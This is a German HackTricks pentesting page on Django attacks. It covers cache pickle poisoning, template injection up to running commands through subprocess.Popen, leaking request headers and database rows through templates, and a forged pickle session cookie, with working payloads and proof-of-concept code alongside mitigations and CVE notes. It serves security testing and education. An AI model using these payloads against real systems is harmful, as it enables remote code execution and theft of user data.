Django

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cache-Manipulation zu RCE

Djangos standardmäßige Methode zur Cache-Speicherung ist Python pickles, was zu RCE führen kann, wenn untrusted input is unpickled. Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrundeliegenden Server eskalieren.

Der Django-Cache wird an einem von vier Orten gespeichert: Redis, memory, files, oder in einer database. Caches, die in einem Redis-Server oder in einer database gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis injection und SQL injection), aber ein Angreifer kann möglicherweise auch file-based cache verwenden, um einen beliebigen Schreibzugriff in RCE zu verwandeln. Die Maintainer haben das als non-issue markiert. Es ist wichtig zu beachten, dass das Cache-Datei-Verzeichnis, der SQL-Tabellenname und die Redis-Server-Details je nach Implementierung variieren.

Bei FileBasedCache wird der gepickelte Wert in eine Datei unter CACHES['default']['LOCATION'] (häufig /var/tmp/django_cache/) geschrieben. Wenn dieses Verzeichnis für alle schreibbar oder vom Angreifer kontrolliert ist, führt das Ablegen eines bösartigen Pickle unter dem erwarteten Cache-Schlüssel zur Codeausführung, wenn die App ihn liest:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

Server-Side Template Injection (SSTI)

Die Django Template Language (DTL) ist Turing-vollständig. Wenn vom Benutzer gelieferte Daten als Template-String gerendert werden (z. B. durch Aufruf von Template(user_input).render() oder wenn |safe/format_html() Auto-Escaping entfernt), kann ein Angreifer vollständiges SSTI → RCE erreichen.

Erkennung

  1. Suche nach dynamischen Aufrufen von Template() / Engine.from_string() / render_to_string(), die irgendwelche unbereinigten Request-Daten enthalten.
  2. Sende eine zeitbasierte oder arithmetische Payload:
{{7*7}}

Wenn die gerenderte Ausgabe 49 enthält, wurde die Eingabe vom Template-Engine kompiliert. 3. DTL ist not Jinja2: arithmetische/Schleifen-Payloads lösen regelmäßig TemplateSyntaxError/500 aus, beweisen dabei aber trotzdem die Auswertung. Polyglots wie ${{<%[%'"}}% sind gute Crash- oder Render-Probes.

Kontext-Exfiltration, wenn RCE blockiert ist

Auch wenn Object-Walking zu subprocess.Popen fehlschlägt, gibt DTL dennoch Objekte aus dem aktuellen Scope preis:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() konvertiert Zeilen in Dictionaries, umgeht __str__ und zeigt alle vom QuerySet zurückgegebenen Felder. Das funktioniert selbst, wenn direkte Python-Ausführung gefiltert wird.

Automatisierungsablauf: authentifizieren, das CSRF-Token holen, eine mit Marker versehene Payload in einem beliebigen persistenten Feld speichern (z. B. Benutzername/Profil-Bio), dann eine View anfragen, die sie rendert (AJAX-Endpoints wie /likes/<id> sind häufig). Ein stabiles Attribut parsen (z. B. title="...") um das gerenderte Ergebnis zu rekonstruieren und Payloads zu iterieren.

Primitive zu RCE

Django blockiert direkten Zugriff auf __import__, aber der Python-Objektgraph ist erreichbar:

{{''.__class__.mro()[1].__subclasses__()}}

Finde den Index von subprocess.Popen (≈400–500 je nach Python-Build) und führe beliebige Befehle aus:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Ein sichereres universelles Gadget ist, zu iterieren, bis cls.__name__ == 'Popen'.

Dasselbe Gadget funktioniert für Debug Toolbar oder Django-CMS Template-Rendering-Funktionen, die Benutzereingaben falsch behandeln.

Siehe auch: ReportLab/xhtml2pdf PDF-Export RCE

Anwendungen, die auf Django basieren, integrieren häufig xhtml2pdf/ReportLab, um Views als PDF zu exportieren. Wenn benutzerkontrolliertes HTML in die PDF-Erzeugung gelangt, kann rl_safe_eval Ausdrücke innerhalb dreifacher Klammern [[[ ... ]]] auswerten, was code execution ermöglicht (CVE-2023-33733). Details, payloads und Gegenmaßnahmen:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733

Wenn die Einstellung SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' aktiviert ist (oder ein benutzerdefinierter Serializer, der pickle deserialisiert), entschlüsselt und unpicklet Django das Session-Cookie bevor irgendein View-Code aufgerufen wird. Daher reicht das Besitzen eines gültigen Signing-Keys (standardmäßig das Projekt-SECRET_KEY) für unmittelbare remote code execution.

Exploit Requirements

  • Der Server verwendet PickleSerializer.
  • Der Angreifer kennt / kann settings.SECRET_KEY erraten (leaks über GitHub, .env, Fehlerseiten, etc.).

Proof-of-Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Sende das resultierende cookie, und das payload wird mit den Rechten des WSGI workers ausgeführt.

Gegenmaßnahmen: Verwenden Sie weiterhin den Standard-JSONSerializer, erneuern Sie den SECRET_KEY regelmäßig und konfigurieren Sie SESSION_COOKIE_HTTPONLY.

Aktuelle (2023–2025) schwerwiegende Django-CVEs, die Pentesters prüfen sollten

  • CVE-2025-48432 – Log Injection via unescaped request.path (behoben am 4. Juni 2025). Ermöglicht es Angreifern, Zeilenumbrüche/ANSI-Codes in Log-Dateien einzuschleusen und nachgelagerte Log-Analysen zu vergiften. Behoben in Versionen ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005 – Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Speziell gestaltete JSON-Schlüssel können die Anführungszeichen umgehen und beliebigen SQL-Code ausführen. Behoben in 4.2.15 / 5.0.8.

Ermitteln Sie immer die genaue Framework-Version über die X-Frame-Options-Fehlerseite oder den Hash von /static/admin/css/base.css und testen Sie die oben genannten Punkte, wo anwendbar.

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks